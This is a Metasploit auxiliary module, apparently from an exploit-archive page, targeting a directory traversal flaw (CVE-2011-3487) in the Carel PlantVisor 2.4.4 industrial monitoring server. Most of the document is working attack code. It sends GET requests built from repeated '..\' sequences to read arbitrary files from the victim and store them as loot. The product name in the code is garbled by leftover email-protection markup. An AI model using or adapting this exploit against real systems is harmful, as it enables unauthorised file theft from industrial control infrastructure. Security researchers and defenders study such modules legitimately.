Carel PlantVisor 2.4.4 - Directory Traversal Information Disclosure (Metasploit)

2017-09-13 19:05:23

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Carel <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="50003c103e240639233f22">[email protected]</a> Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability
found in Carel <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="5c0c301c32280a352f332e">[email protected]</a> <= 2.4.4. The vulnerability is
triggered by sending a specially crafted GET request to the
victim server.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3487' ],
[ 'BID', '49601' ],
],
'DisclosureDate' => 'Jun 29 2012'))

register_options(
[
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
Opt::RPORT(80)
], self.class )
end

def run

depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/" + ("..\" * depth)

res = send_request_raw({
'method' => 'GET',
'uri' => "#{levels}#{datastore['FILE']}",
})

if res and res.code == 200
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")
return
end
file = ::File.basename(datastore['FILE'])
path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")
return
end

end
end
<script>!function(e,t,r,n,c,h,o){function a(e,t,r,n){for(r='',n='0x'+e.substr(t,2)|0,t+=2;t<e.length;t+=2)r+=String.fromCharCode('0x'+e.substr(t,2)^n);return r}try{for(c=e.getElementsByTagName('a'),o='/cdn-cgi/l/email-protection#',n=0;n<c.length;n++)try{(t=(h=c[n]).href.indexOf(o))>-1&&(h.href='mailto:'+a(h.href,t+o.length))}catch(e){}for(c=e.querySelectorAll('.__cf_email__'),n=0;n<c.length;n++)try{(h=c[n]).parentNode.replaceChild(e.createTextNode(a(h.getAttribute('data-cfemail'),0)),h)}catch(e){}}catch(e){}}(document);</script>

Fixes

No fixes

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